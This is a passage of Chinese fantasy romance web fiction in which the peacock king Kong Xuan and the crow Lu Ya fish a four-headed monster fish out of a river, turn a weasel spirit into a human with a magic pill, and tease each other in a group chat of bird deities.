看着几人的背影,陆压突然说:“我好像认识那个人。” 他指小六。 孔宣正啃展会上的文创冰棍,他插着手,酷酷地站在那里,咬住冰山一角,秾烈的眉眼张狂放肆,在唇角勾画起玩味的弧度。 “哦?他是谁啊?” 陆压说的话不是假的,他之前就觉得小六眼熟,这会儿想起一件事,证明他们确实见过。 “张晚照,我们这首富的儿子,之前有妖怪用替换之术和他换了身份,后来被人救回来了。”陆压不太会讲故事,他说到这里就不讲了。 孔宣正打算听一个跌宕起伏的好故事,半天没等到,顿时两眼一瞪,气呼呼地一把勾过陆压的脖子。 “你这只坏鸦!” 他像强迫人的黑涩会大佬,气呼呼地用雪糕怼在陆压嘴边,张牙舞爪地威胁。 “呔,居然敢钓孔雀大王的胃口,还不快速速招来!” “不说就把你干掉!” 超凶! 孔宣张牙舞爪地逼问,小表情格外严肃认真,势要逼问出个所以然来。 陆压被勾着脖子,被迫低下脑袋,甚至配合着弯下肩膀。 凉丝丝的雪糕堵住了嘴,他躲了几下,不得不努力咬掉一截腾出说话的空间,在孔雀大王冒火的目光中他说:“不是什么好故事。” 是个很烂俗的真假少爷的故事。 张晚照是张家的独生子,张首富生下他的时候已经快五十岁了,老来得子,自然宠得不行。 他自小受尽宠爱,要星星不给月亮,要往北绝不往东,养成了一个天真烂漫、任性肆意的性格,本人也没有任何的商业才能。 在孩子还小的时候,张首富身体还不错,又是老来子,自然觉得孩子天真可爱没什么不对,可随着孩子越来越大,张首富的身体也越来越差,对财富的野心却越烧越烈。 或许是为了证明自己,不甘心服从岁月的磋磨,他试图将张晚照培养成合格的接班人,带着集团再创辉煌。 但早已养废的小少爷非但没有任何天赋,甚至在合作中屡屡受骗,导致公司经营不善、资产下滑。 这本来也没有什么,没有商业天赋,拿着股份乖乖退位,光每年分红就是一笔天文数字。 但张首富白手起家,无法接受自己的孩子是个躺平的废物。 “于是。” 说到这时,陆压的语气逐渐冷淡起来,他冷声说:“他向仙家许愿。” 一只狐妖就此代替了张晚照的身份。 那只狐妖表现得非常聪明、懂事,对内,他对张首富孝顺至极,忙前忙后在病床前伺候,各种好话说尽,任谁来看都是一个孝顺儿子。 对外,他执掌公司后短短几个月就签下了巨额合同,在政策发布之前投资地皮,看中的项目无一不是大赚特赚,俨然是冉冉升起的商业新星。 然而命运就是那么巧合。 “张家和妖管局有合作,谈合同的时候,有同事发现了不对,才把真正的张晚照救出来。”陆压说道。 他没说的是,妖管局的后勤组进场找到张晚照时,他像是畜生一样被锁在家里的地下室里,蓬头垢面地躺在地上,差点被人饿死。 可巧,张首富生病后为了方便,就住在地下室的上方。 然而三个月来,没有一个人发现张晚照的存在。 他几乎被那只狐妖夺取了全部的人生。 更令人无奈的是,张首富在狐妖被斩杀当晚突发心梗死在家中,那个时候张晚照正在医院抢救。 事已至此,已经没有人再去探究张晚照的事情他父亲是否知情,张晚照彻底消失在人群视线,有人猜测他已经移民或者死了,就连救出他的妖管局都懒得再管这家庭破事。 没想到会在这里遇见。 孔宣“咔嚓咔嚓”把文创雪糕咬碎,牙齿抵在木棍上,愤愤不平地把木棍咬烂。 “怎么会有这样的人!” 单亲家庭出身独享母亲宠爱的孔宣在这种事情上简直嫉恶如仇,他肆意嘲笑,愤愤不平地控诉:“乌鸦都有怜幼扶老的天性,那些人类,真是比鸟兽还不如。” 简直就是非人哉! 孔宣把手往腰上一插,不禁为小鸟比人类拟人而感到些许得意,嘴角翘起时,又想到了张晚照的遭遇,他不禁有点好奇。 “那他现在是有病吗?我看他气息微弱,看起来病得要死了。” 说病得要死简直是抬举了,他瘦得脱相,要不是陆压斩杀狐妖时远远看见他从地下室被救出来的凄惨模样,肯定认不出他。 他比当初快被饿死时还要瘦弱。 “鯈鱼可不是治病的,使人开心只是副作用而已,救不活他。” 孔宣歪过脑袋,漫不经心地抚弄长发:“九凤已经糊涂了,想要救他得换一种妖怪才行。” 单纯的孔雀大王还不知道人类单纯不快乐,也是会死掉的。 陆压哑然:“可是大王,人类也会抑郁而死。” 千万年的岁月没有在孔宣身上留下一丝一毫的痕迹,他凝视着孔宣,看到他脸上近乎天真烂漫的澄澈。 “人类是很脆弱的生物,有的时候只是过度地亲昵,也有可能造成窒息,然后轻易死掉。” 是的,人类就是这么脆弱,脆弱到在孔雀大王的人生中不值一提。 陆压低沉的声音带着些许思绪,他有一瞬的失神,似乎想到了很多死去的人,但最终他的目光落在了孔宣身上。 他看着眼前准确的鲜活的生命,目光落在眼尾明媚的风情上。 孔宣眉眼明艳,没有任何阴霾的肆意嘲笑:“那人类也太容易死了,还是当小鸟好,陆鸦鸦,有我在你可不会这么容易死掉。” “活几百年……不,千万年。” 孔宣神色笃定,他置身在明亮的展厅里,白昼灯惨白至极,唯独他被光笼罩,赛霜欺雪的皮肤泛着珠玉一般的润色,柔软的黑发摇晃着,似乎垂荡在人类的心口。 那双漂亮的眼睛背着光,又像是早已置身光中,他像一只从光芒中滋生的妖精,用那样蛊惑人心的口吻说: “你可得一直一直活下去啊。” “当然,得开开心心的。”他把脑袋一歪,俏皮地补充。 脸上的笑意耀眼至极,足以令天光褪色,他即是世界唯一的色彩。 陆压哑然。 “这要求有点难,我尽量。”他一本老实地回答。 孔宣顿时哼了一声,傲气地扬起下巴,故意走到陆压面前不理他。 孔雀大王觉得陆压实在是有点不解风情,这个时候就应该露出一脸感动地夸赞他的伟大,哪有这么老实本分的。 这种想法陆压不得而知,他不知道哪里又惹到了孔雀大王,只好给大王买文创雪糕赔罪。 两个人一人一根坐在休息区的吧台上,对面是透明的玻璃,可以清晰地看见人潮涌动的街景。 现代化的景色造就了一片钢铁森林,人类几百年前还是用马车在地上跑,几百年后就用上了钢铁与机械,将过去的落后远远抛弃在时光。 孔宣叼着青绿色的山峦雪糕,手上用塑料袋子叠成一个小纸鹤。 他从一个小女生那里现学的,聪明的孔雀大王只是看别人叠了一次就立马学会了,把纸鹤的翅膀叠得整整齐齐。 叠好之后,他把雪糕从嘴里放出,一手捧着纸鹤一手拿着雪糕,贪心地舔了一口甜味,甜滋滋地朝纸鹤吹出一口凉气。 陆压茫然:“大王?” 嘴角润湿的孔雀大王翘起弧度,掌心的纸鹤抖动着翅膀,摇摇晃晃地支棱起高度。 陆压站起身,挡在孔宣面前,将纸鹤的异样遮得严严实实。 起飞的纸鹤示意般朝孔宣点了点头,拍打着翅膀扑簌簌汇入人群中,尾端拖拽着淡淡的青色光辉,眨眼消失不见。 孔宣这才不紧不慢地咬住雪糕,手掌拍了拍陆压绷直的胳膊,语气散漫极了:“你紧张什么,我办事,你放心。” 猝然绷紧身体,陆压的胳膊硬邦邦地跟石头似的,孔宣还觉得拍得手疼。 他呼呼朝掌心吹气,控诉的眼神气呼呼飘向身边。 陆压还杵在他的面前,眼睛盯着他,直把孔宣看得睫毛轻颤,莫名心虚起来,才轻声说:“大王,下次换个隐秘的地方。” “为什么?”孔宣有点不服气,粗声粗气地怼人。 他不高兴地鼓起腮帮子,气哼哼地轻微炸毛,抱着手臂一脸郁闷地开始生气。 “现在是科学时代,这种怪力乱神的事情在没有公之于众的情况下,最好还是不要太显眼,这样不会引起恐慌。”陆压不愧是公务员,轻描淡写地用三言两语就打消了孔宣的怒火。 他看向路边车水马龙的景色,淡淡说:“只是稍微忍耐一下,就可以维护住这样普通的幸福。” 一无所知的民众,才不会陷入对怪力乱神的恐慌中。 这是妖管局成立的宗旨。 “真的有这么简单吗?”孔宣托腮,他玩味地用眼角余光朝旁边轻扫,关于灵气复苏的各种混乱的消息早已随着突然出现的神山而喧嚣尘世。 陆压也跟着看了一眼。 尽管官方多次辟谣,各平台放通告安抚民众,但国家那么大难免有人在里面浑水摸鱼,各种神异说法封都封不赢。 最重要的是,因管理而生的妖管局内部混乱,隐隐有崩裂的迹象。 陆压下意识摸了手机的位置,在他那个辞退小群里,一些返聘回去的同事非但没有奔赴前线,还被无限冷藏猜忌。 陆压兀自沉思,面色凝重。 孔宣给他拿宣传册扇了扇风:“别摆着个脸了,走吧。” 他拿着宣传册,催着赶着要陆压起来走。 “去哪?”陆压不明所以,跟着孔宣往外走。 去哪?孔宣嗔怪地看了陆压一眼,拿宣传册叠了叠敲他脑袋。 “当然是回去了,你不回去啊?”他叉着腰,嚣张地拦在陆压面前,像是个人形路障。 陆压走左边他往左边拦,走右边他往右边拦,挑衅地朝他飞去一眼,故意问:“你不是不回去吗?还要在这睡呢。” 逗完了人,孔宣才把脑袋一歪,神采飞扬地说:“走。” “走。” 为了不被赶出家门,陆压当然说走。 展会那么多人,就他们逆着人群往外走,路过摆着小甜品的桌子,孔宣捻了块方形小蛋糕,送进嘴里的同时,舌尖轻撩过指腹。 他眉眼愉悦眯起,显然是对这味道很满意。 一口甜品,嗓音都似乎轻快了起来:“鸦,你等着,马上我就能给你赚到五百万了。” 这话题跳跃太快,陆压还没说话,孔宣接着说:“论功行赏,记得给我做蛋糕吃。” “不用这样我也会给你做的。”陆压失笑,他低下头,靠近孔宣问:“大王想吃什么口味的?巧克力?” “当然是……” 孔宣眼睛一转,故意不说,等陆压报出一连串的甜品,他才心满意足地回答:“我全都要!” 贪心的孔雀大王。 陆压点头答应,打算带孔宣顺路去超市买了材料再回去。 却见孔宣突然眯起眼睛,露出十足玩味的表情:“哇哦,我们的鱼好像找到了。” 第35章 第35章海鲜闷鯈鱼3 “我们…… “我们的鱼找到了。” 孔宣说这话的时候, 正好将最后一口雪糕送入口中,他舔舐着甜味的扁棍,眼眸一眯露出愉悦的表情,眉梢飞扬起嘚瑟的弧度。 身旁的陆压倾身听他说话, 听到这时他略做停顿, 在心中将买材料的计划划掉。 “我们现在去钓鱼吗?”陆压问。 孔宣面色玩味, 唇角抿起弧度,视线在周围晃了晃, 似乎在寻找方向。 确定好方向后,他将手里的木棍往垃圾桶隔空扔掉, 直直走向路口。 他伸出手,直接拦下一辆出租车,恣意地回首朝陆压扬眉:”走?” 陆压过去帮他将车门打开,做了一个请的手势,把人请进去后自己也跟着坐了进去。 司机问他们去哪, 孔宣肩背挺直,刻意往前探过头, 指挥着司机往自己说的方向开。 出租车歪七扭八开了一圈后, 将他们送到了江边。 一条长长的江河将两岸分割,夏风吹拂, 木棉树倚着河岸依次生长, 斑驳树影从面前延伸,一眼望过去, 与往下更矮的木制桥道形成一道美丽的风景线。 彼时光影斑驳如流水在河面粼粼波动,涟漪间几尾鱼影轻巧掠过,映着岸边垂首的树影,杨柳被风摆弄着枝条漫漫飘在风中, 摇曳出柔弱身姿。 孔宣顺着石阶三两步跳到木桥上,他回过头,阳光落在他的肩膀,明媚地为他披上一身璀璨。 “快来啊,陆鸦鸦。”他笑意浅浅,脚步轻巧极了,踩在木制的长桥上,噔噔噔走出好几米。 大河两边都有这样的木制长桥,整齐划一地排列两侧,沿着河岸的边缘遥遥伸向远方,任由边缘的树木恣意地生长出不同的姿态。 长桥上除了两人就只隐约看见几个钓鱼佬的身影,要是入了夜,地上安装的灯光亮起,就是一个很好的休闲地点。 陆压踩着孔宣的脚步跟在他的身后,他视线在周围转了一圈,敏锐地闻嗅到了妖气。 他面上不动声色,看着孔宣在自己身边打转,视线却本能地在周围摇晃起来。 孔宣目标准确并不明确,他抬手召回留有自己气息的纸鹤,纸鹤停在他的指尖。 他只能隐约感觉到有东西在桥下游动,泥土与河水的气息蒙蔽他的感知。 站在桥边凝视着河水,孔宣正沉思着,陆压端着借来的小板凳走了过来。 陆压垂着眼睛,用找钓鱼佬借的鱼钩和别人不要的饵料,拿了一捆鱼线就开始手挫。 动作不疾不徐,大掌捻着小小鱼钩的动作甚至称得上灵巧,三两下将鱼线、鱼钩和饵料捆在一起。 孔宣探头看他动作,倚着围栏撑着腮帮子,另一边的腮肉微微鼓起,他眼波流转,口中嘟囔着:“你这点东西能钓到什么啊?” “试试吧。” 陆压轻描淡写地说着,随手扯了几根草拿在手中缠了缠编成一个简易鱼鳔,将手中鱼钩一抛。 鱼钩入水,旁边几个钓鱼佬伸长了脑袋,正准备嘲笑他空军。 没想到草编鱼鳔一沉,陆压挑眉。 “鱼鱼鱼!” 一个钓鱼佬急呼,其他钓鱼佬纷纷跑了过来,甚至有个拿着抄网,只等鱼浮出水面,兜头就是一抄—— 陆压漫不经心地放了鱼线。 顿时鱼飞饵没,几个钓鱼佬看得是捶胸顿足,又感觉到几分快乐。 他们就说嘛!几千块的杆子都钓不上来,一个鱼钩怎么能钓上鱼! 用这样的一捆鱼线,陆压依次换了几个位置。 整个过程枯燥极了,孔宣来来回回将木桥走了几圈,再回来时手里多了一根玉米,他一边啃烤玉米一边眺望远方。 “鸦,你看那。”孔宣把手一指,颇有种指点江山的豪情。 陆压扭头看过去,只看到了江河尽头那毗邻的高楼。 “大王何解?” 孔宣为陆压现在还是个麻瓜感到痛心,他摇晃着脑袋,手拿着玉米点了点一个方向,他眯起眼睛,颇为笃定地说:“下一座山会从那里升起。” 泜水由敦与山的北面发源,向东流入彭水,彭水从那里往西流向芘湖,也将鯈鱼从芘湖冲进了江河里。 敦与山会在孔宣所指的方向从地里升起,那会是一座矿产丰富,却空无鸟兽的神山。 孔宣说得认真,陆压也听得认真,他一脸凝重地凝视着那个方向。 正要说话时,他手上的鱼线一沉。 孔宣转过脑袋,将手里的玉米梗丢进水里,一道清脆的鸟叫声从由远及近,顺着逐渐靠近的水波扑簌簌地冲来。 这股动静很大,像是有一只鸡掉进了水里,正拼命扇着翅膀上岸。 陆压一脸淡定地从口袋掏出一个塑料袋,他撑开在空中挥了挥。 如同每一个等待时机的猎人,在热心的钓鱼佬挥舞着抄网紧急往水中一捞的时刻,迅速用塑料袋把抄网里长着三条尾巴、六只脚、四个头的怪鱼一把装起。 快准狠。 完美装起。 孔宣“哇唔”小海豹拍手,惊叹地看着陆压的手速,一脸震撼地看着他将塑料袋一捆,连尾巴都没让人看到,鯈鱼就到手了。 陆压动作利落,随手抽了几根草叶隔着熟料袋捆脚捆头,倒提着鯈鱼说:“大王,我们走吧。” 他神色太过镇定,一连串的动作丝滑不已。 “好酷。”有人脱口而出。 陆压低调离开,孔雀大王语气调笑:“哦~好酷啊哥哥~” 一声“哥哥”喊得百转千回,又绕又黏,孔宣神情促狭,戏谑的笑意如星子在他眸中闪烁。 他故意调笑陆压,却忍不住好奇,歪过头问:“你到底是怎么把鯈鱼钓上来的?” 陆压摩挲着指腹,他正要回答,就见孔宣眸子一凝,一把抓住了他的手。 “你的手!” “……用了一点血。”陆压迟迟回答。 如果不是被发现,他或许不会回答。 在孔宣不知道的时候,陆压用鱼钩扎破手指,将血抹在草标上,蕴含灵气的血液天然就是妖类诱捕剂,就那么明晃晃地泄露出来,足以令未开化的妖怪着迷。 只是一点血液而已。 被孔宣灼灼目光盯得不自在,陆压手指颤动,古怪的酥麻从受伤的指尖一直蔓延到心口。 他看孔宣一直盯着不放,主动转移话题:“等下去超市买材料做蛋糕怎么样?做蓝莓味的……?” 他话语一顿,指尖被纳入温热的空间中。 孔宣含住他的指尖,含含糊糊地训他:“我又不是抓不到,你自己清晰瞎做主张干什么?还把自己弄伤了,真是笨死了……” 笨鸦鸦! 孔宣气呼呼的,一边瞪人,一边撩动舌尖,直到铁锈味彻底消失,才把陆压的手指放走。 他歪过脑袋,格外霸道地将脑袋探过去,用严厉的目光衡量这细小的伤口。 陆压喉咙滚动,像是一瞬失声般,定定看着他埋怨关切的眉眼。 “大王……” 孔宣瞪他:“不许说话!我在检查伤口!” 灼热的呼吸因为距离毫无保留地喷洒在皮肤上,陆压一时觉得皮肤滚烫,甚至有种陌生的荒诞感。 他自小独立,这样细小的伤口不如他每次拔羽时的刺痛,根本无关痛痒。 布满茧子的手早已经历各种训练磨砺,即便是从火中取炭也只会感到麻木,可这一瞬间,陆压像是被冻在冰层里的人第一次触及阳光。 他无所适从,茫然无措,唯恐被光芒蛰伤般不敢置信,只是无声而长久地凝视着那道亮眼的光芒。 他动了动手指,孔宣立刻“啧”声:“你别动,你再动我都看不清了!” 青年的呼吸又近了几分,那关切的眉眼毫无保留地落入陆压的眼睛。 陆压:“……” 他无法忍受般低下头,将脸埋进手心,一时间思绪混乱、昏聩糊涂。 直到孔宣终于满意放开了他的手,陆压低垂着眉眼,耐心听孔宣训斥自己。 他依旧眉眼冷淡,只是心口像是炸开鲜花,只剩下无声而震撼的欢喜。 仿佛溺水者凝视着自己的救命稻草,目光灼灼,亮眼至极。 孔宣歪过脑袋,得意地翘起唇角:“怎么这么看我?你不会也迷上我了吧?” 你也很为我着迷吧? 孔宣嘴角扬起的笑容遮都遮不住,俨然要与太阳肩并肩,他矜持地压抑着弧度,只是灵动的眉眼藏不住心思,欢喜得眉飞色舞。 没关系,迷上孔雀大王,只是人生必修课而已。 哼哼。 陆压失笑,直到孔宣转头,他才低低地“嗯”了一声,隐晦至极。 有了受伤这一出,孔宣说什么也不要陆压做蛋糕了,两个人带着钓来的鯈鱼直接打车回家。 陆压一手提着鯈鱼一手拿钥匙开店门,正打开门,突然视线里冒出一对尖耳朵。 他动作顿住,身后的孔宣推着他往里走:“站在这干嘛呀?快进去——” 未完的话语瞬间顿住,在两人的视线中,一对一对的尖耳朵从黑暗中冒出,阳光从店门往前探过一段距离,在尖耳朵前停驻。 黑暗中,有人嗓音低沉:“货都准备好了吗?” 第36章 第36章海鲜闷鯈鱼4 一对一…… 一对一对的尖耳朵依次竖起, 在门开启的瞬间,无数双眼睛齐刷刷地露出锋芒。 阳光从门外渗入,也不得不在它们身前停下,将黑与白的界限残忍分割。 直到陆压“唰”一下, 将卷帘窗拉起。 璀璨的阳光洒入室内, 室内一片明亮, 也将那一只只尖耳朵的黄鼠狼照得分明。 黄鼠狼们支棱着上半身,人性化地后脚着地, 仰着脑袋齐刷刷看向他们,兜着小爪子露出一脸呆萌。 只有被围在鼠群中的大黄鼠狼语调低沉, 双手交叉在一起,一脸郑重:“能让妖精化形的宝贝,我还从没有见过。” “那是你们见识少了。”孔宣眼睛一扫,一群几百岁的黄鼠狼精,在他面前跟一只只小鼠条差不多。 他言语轻蔑肆意, 所到之处,众鼠仰望。 一群小黄鼠狼盯着他, 他随意地在柜台后坐着, 下巴一抬,面上露出几分傲气, 漫不经心的语调散漫极了。 “那只小黄鼠狼呢?它不在我可不给货的啊。” 一群看起来一模一样的黄鼠狼左右看了看, 从中走出一只,欢欢喜喜地蹦上柜台, 支棱起上半身,不好意思地挠了挠耳朵。 “大仙你还记得我啊!” 怎么不记得?它给的玉镯还在孔宣手腕上挂着呢。 那枚玉镯透亮莹润,淡淡的青色翡翠种挂在孔宣腕间,衬得手腕纤细白皙, 更显玉镯华贵。 孔宣把玩着手腕上的玉镯,眼神扫过一地的小黄鼠狼:“你这是不信任我?还是被威胁了?” 他眼眸一眯,身上散漫的气质一变,越发危险可怖,如一座高山,沉沉气势轰然压在众妖头顶。 他如高山,一群小妖怪连注视他的伟岸都无法承受。 小黄鼠狼骇了一跳,尾巴毛一根一根支棱起,抱着手讨喜地拜了拜,眼睛湿漉漉的:“不是不是!是他们听说有大仙赐药,特意过来助我化形。” 说到化形,才几百岁的小黄鼠狼顿时有点得意忘形了,忍不住摸摸腮帮子,“嘿嘿”笑了出来,尾巴摇来摇去。 小黄鼠狼显然把自己说美了,领头的大黄鼠狼瞪了它一眼,颇有种恨铁不成钢。 只见这只地位高的黄鼠狼一挥手,一群小家伙将一盒金银珠宝捧起。 黄鼠狼说:“如果真有这种珍贵之物愿意给我家这个不成器的小子,我们愿为大仙效犬马之劳!” 孔宣歪过脑袋,小声问柜台上的小黄鼠狼:“你们化形很难吗?” 就这点事,还搞这一出,太社会了。 小黄鼠狼嘴巴一扁,小小声回:“大仙您不知道!现在建国不让成精,想成精还得跟妖管局打报告,那简直就是一个黑恶组织,这不许那不行,不让我们随便找弟子修行,说是宣传封建迷信!” “这下好了,没有弟子帮忙修行,灵气又低迷,我们家已经一百年没有鼠能化成人形了。” 小黄鼠狼越说越觉得悲愤,说什么仙家修行,结果根本不让,大家都是偷偷修,要是被发现了还得被追查。 简直凶恶! 陆压从厨房拿罐子回来,听到这些,顿时:“……” 他默不作声将罐子放下,正在嘀嘀咕咕诉苦的两只顿时吓了一跳,齐刷刷地看向他。 一人一鼠瞪圆了眼睛,脸上的表情出奇地一致。 可爱。 陆压手指摩挲,将罐子推向黄鼠狼:“你的。” “诶?”小黄鼠狼歪过脑袋。 几只小黄鼠狼七手八脚地把罐子运下去,拨开上面的红封探头往里面看了看,看见一块白白的“豆腐”,小爪子一捞,“白豆腐”在空气中凝固。 小黄鼠狼舔了舔湿漉漉的爪子,下意识看向孔宣。 孔宣对那堆金银珠宝不感兴趣,他含笑点头,眼睛轻眨,神色灵动张扬:“给你的,交易完成~” 小黄鼠狼把嘴巴往“豆腐”上一啃,逐渐凝固的表皮酥脆裂开,它尝到了内里的奶香味,在嘴巴里一抿,香气十足,馋得鼠吭哧吭哧啃了半边,吃得肚皮滚圆。 它抱着肚子掉到地上,仰面打了一个嗝,突然浑身发烫,就地翻滚起来,喉咙里不停发出嘶吼的挣扎声。 这可把其他小黄鼠狼吓坏了,它们一齐将同伴围了起来,领头的黄鼠狼把送礼的盒子一丢,护在族人面前一脸凶悍。 “你干了什么?!” 大黄鼠狼一声爆呵,举起爪子努力恐吓。 身后突然传来一声哀嚎。 它懵懵转过头,陆压随手将柜台上的围裙往前一丢,完美遮住了小黄鼠狼的白屁股。 一群小黄鼠狼一哄而散,警惕地支棱起耳朵,呆滞望着眼前突然出现的人类。 是的,人类。 一个浑身赤露的人类静静地躺在地板上,他翻了个身,一张嘴就是熟悉的声音:“欸?我怎么了?怎么好、好晕?” 他稀里糊涂地捂住脑袋,晕乎乎地晃了晃,呆滞地盯着自己的手,良久发出一声惊喜的大喊。 “啊!我变成人了!” 小黄鼠狼大喜过望,他惊奇地摸摸脸和肚子,对着玻璃杯上的影子努力幻想自己长什么样子。 陆压将手机递给他,手机屏幕里出现一张年轻的脸。 微卷的黄发只到耳朵,看起来格外精神,人的眼睛、人的鼻子嘴巴,脸只能算得上五官端正,不丑但也普普通通。 即便如此,这依旧让众多黄鼠狼羡慕不已。 它们齐刷刷地涌到孔宣面前,露出一模一样的期待目光,小爪子拢在一起,讨喜地挥了挥。 大王大王,我们崇拜你。 孔宣被这群小黄鼠狼用期待目光围着,顿时得意地哼笑起来,嘴角翘起明媚的笑意,格外记仇地朝那只大黄鼠狼扬眉:“你说我干了什么?” 哼,怎样? 大黄鼠狼并不尴尬,它能屈能伸,加入群众仰望大王的行列中,双爪拢起,一脸讨喜地拜了拜。 好大王,我也想变人! 孔宣更加得意,鼻子都要翘到天上去了,一脸享受地接受众多黄鼠狼膜拜。 孔雀大王的名号实至名归。 陆压看了好笑,也跟在小黄鼠狼的后面,等着孔雀大王挨个检阅。 一只一只黄鼠狼挨个上前说好话,孔宣听满意了就挥手到下一个,再下一个。 轮到陆压,陆压站在柜台前,过高的身量落下一片阴影。 落在孔宣的眉眼,阴影如同一张网,将他团团网住。 孔宣却不觉得危险,只是撑着下巴,骄纵地抬起手,授勋般一脸傲气的示意。 陆压思索了片刻:“大王。” 他轻声叫了一句,主动伏下脑袋,平静的眉眼近在咫尺,他黑眸深邃,语气珍重而沉稳,绝不会让任何人怀疑他的真挚。 “你很好。” 就这样?孔宣扬眉。 沉稳寡言的陆压仍然保持着动作,他的距离孔宣的距离过近,早已突破了安全距离,但现在两个人都没有关注这一点。 从陆压身上落下阴影连同他整个人,一样无法忽视,无法拒绝。 孔宣扬起眉,看陆压牵住自己的手,他能感受到陆压的手指在自己手背磨蹭两下,最终只是落下一个礼貌而短暂的吻手礼。 ——落在他自己的手指上。 即便如此,从陆压传递过来的呼吸依旧烫得人手背发痒。 他嗓音低沉,似是示弱,无声动了动唇才缓缓告饶:“别为难我了,大王。” 像是一种威风凛凛的大型犬,主动俯首示弱,为自己无法满足主人的要求而呜/咽求饶。 然而陆压是能说出好话的,他见人说人话见鬼说鬼话,很多动听的话张口就来。 但唯独在孔宣面前,他笨嘴拙舌,痛恨起油腔滑调的虚伪,只剩下真挚而简短的夸赞。 孔宣嘴角上挑,他神色已经轻快欢喜起来,只是嘴上还要不饶人:“笨鸦鸦,你连好听的都不会说,你是只会撒娇的笨小鸟。” 他哼哼发笑,故作不满地插起腰,然而没三秒彻底绷不住,弯起嘴巴笑了起来。 笨小鸟陆压无奈,只是低头轻轻朝他的额头撞了一下。 随后直起身,熟练地驱赶围在他们脚下的小黄鼠狼。 小黄鼠狼叽叽喳喳七嘴八舌,追着想让孔雀大王再多给一点能变人的宝贝。 陆压垂着眼眸,一贯好说话的老实伪装撕下,一双眼睛锋芒毕露,露出比雪峰更凉薄的锐利。 “罐子里还剩下一份不是吗?” 他冷冷逼问,一群得寸进尺的小黄鼠狼急哄哄把罐子围住,后知后觉地低下脑袋。 陆压才淡声开口:“不要得寸进尺。” 轻描淡写几个字,一群黄鼠狼瞬间慌了神,叽叽喳喳地讨论一圈,最终还是不甘地跑走了。 只是跑走之前还是忍不住期待,跑到孔宣面前,拢着爪子一脸讨喜地拜了拜:”大仙~” 孔宣歪过脑袋,脸上笑意浅浅,似乎很好说话,却见他伸手往小黄鼠狼头上弹了一下,嘴角的笑容冻出一丝冷诮。 他毫不客气地敲小黄鼠狼脑袋:“再纠缠就一口炫一个,把你们全部吃掉!” 小黄鼠狼们顿时大惊失色:!!! 连忙哗啦啦跑走了。 光着身子的小黄鼠狼还捞走了陆压一条围裙,露着白花花的屁股噔噔往外跑。 陆压在他们跑出店门的一瞬间迅速把门合上,拉下的窗帘又重新拉起,他拿起扫把,勤奋扫走地上的黄毛。 孔宣提着装鯈鱼的袋子在后厨转了一圈,拎出一口锅把鱼倒进去,看起来足有五六斤的大鱼倒进锅里,加水没过后用盖子一盖。 他利索地拍了个照片,直接发到群里@九凤。 这可让群里人炸了锅,有一部分鸟知道九凤还在精神病院,还有一部分鸟下意识问。 :九凤?这家伙出来了? :他最近在干什么?没活可以过来帮我忙。 :他还在精神病院呢,不知道最近精神怎么样,他说自己最近精神状态好多了。 [青鸾]:并没有!!我觉得我们还是得把他捞出来! :啊?怎么捞?劫狱吗?这我在行! :是不是找个人装家长就能把他捞出来了,你们谁去当下他爹? :我我我!我来!我来! …… 群里的话题逐渐跑偏,孔宣捧着手机一想,九凤这家伙有没有手机都不一定。 特意敲了穆怜青问地址,打算自己送货上门。 [青鸾]:你等下,过几分钟后九凤应该就上线了,他们精神病院有固定的上网时间。 [青鸾]:孔雀,我觉得我们还是得把他捞出来。 孔宣对此很感兴趣,并且十分兴奋地在群里应征当爹。 他有足够的自信可以让九凤感受到爹的温暖,并且“心甘情愿”跟随他离开精神病院。 然后就被冒头的九凤骂了一通。 九凤痛斥了所有想给他当爹的神鸟,开始指责群里所有鸟都想害他,抵不过众鸟们七嘴八舌地反驳怒而退群。 没过三秒。 [朱雀]邀请[总有刁民想害朕]加入群聊 群里的鸟一齐刷了个:6 九凤敌不过群里的人,最终选择和孔宣私聊。 [总有刁民想害朕]:孔宣 [总有刁民想害朕]:找你果然没错,明天你过来医院登记探视我,顺便把菜带来 [总有刁民想害朕]:小六不吃辣,不喜欢葱蒜,米饭要吃本地的,不要记错了! …… 看到这些话,孔宣眼睛一眯,顿时觉得九凤不对劲。 很不对劲。 难道真是精神病院遇见爱? 他试图像每一个街道闲散人员一样过问九凤的感情生活,然而九凤很快就下线了,任由孔宣如何刺探,依旧不为所动。 陆压扫完地一转身,就见孔宣气呼呼地趴在桌子上,腮帮子软乎乎地在两侧鼓起,嘴巴抿成波浪型,一脸不高兴。 “怎么了大王?”陆压问。 他拿着扫把走过来,孔宣眼睛一抬,眼泪汪汪地控诉:“我问他是不是谈恋爱了他居然不告诉我!他没有把我当爹,他这个逆子!” 居然没八卦上,孔雀大王雷霆小怒之后,气呼呼地控诉一通,急得恨不得原地旋转。 孔宣急得直蹬腿,气呼呼地帮人点餐,按照九凤说的,不吃辣不吃葱不吃蒜,米饭要吃本地米…… 一连串的要求报下来,他问陆压:“鸦,你记住了吗?” 陆压停下在本子上记录的动作,重复了一遍要求,不要辣不吃葱不吃蒜,米饭要吃本地米。 孔宣满意点头,拍拍陆压的肩膀,以表鼓励:“很好,一切都交给你了鸦。” 他说得认真,颇有种领导画饼的信念感。 陆压哑然失笑,也跟着一本正经点头,语气里的笑意似乎遮也遮不住:“好的大王,没问题大王。” 孔雀大王很满意,孔雀大王起驾回寝。 徒留陆压看着记事本,思考着到底要做什么。 孔宣上楼之后,一下子躺进了心爱的梧桐木小床上,他踢掉鞋子,在床上滚了滚,正要抱着自己的小枕头准备美美睡上一觉。 翻身时滚到床尾,他仰头躺着,兀自陷入思考。 他好像……忘记了什么? 孔宣晃了晃脚,架着腿枕着枕头思索了一圈,突然灵光一闪,翻身而起拍案叫绝。 “穆怜青!” 他忘记问那只青鸟到底和陆鸦鸦说了什么! 孔宣顿时懊悔不已,他愤愤捶床,怒上心头,很想扒开窗子拍拍翅膀飞到穆怜青面前仔细逼问。 但孔雀大王又思考一番,深深觉得此事已经错失良机,于是他抱着自己的小枕头又滚到床头。 他枕着枕头,下巴蹭了蹭,直到把枕头蹭成合适的松软程度,抵在下巴上,把眼一闭,浓密的睫毛如蝶翅一般落下。 孔宣垂着眼睛,张狂放肆的眉眼像是一下子沉静起来,眼尾的折痕很深,眼尾飞扬的弧度分明蛊惑人心,偏偏此刻神色清浅,如山水般恬淡。 迷迷糊糊间,他思绪飘远,如堕云雾轻盈朦胧。 有鸟振翅,飞跃轻盈云层,从万千流风中脱身而出,迎着耀眼的烈日敢与太阳争辉,借由金色光彩为华羽加冕,肆意从天际掠过。 越过重重阻碍,飞入枝繁叶茂的森林中,入眼是碧绿如宝石的林中深潭,碧绿潭水映着五色神鸟,它们尽情欢歌,在自然茂盛的枝条跳跃,任由百花献礼、百鸟齐和。 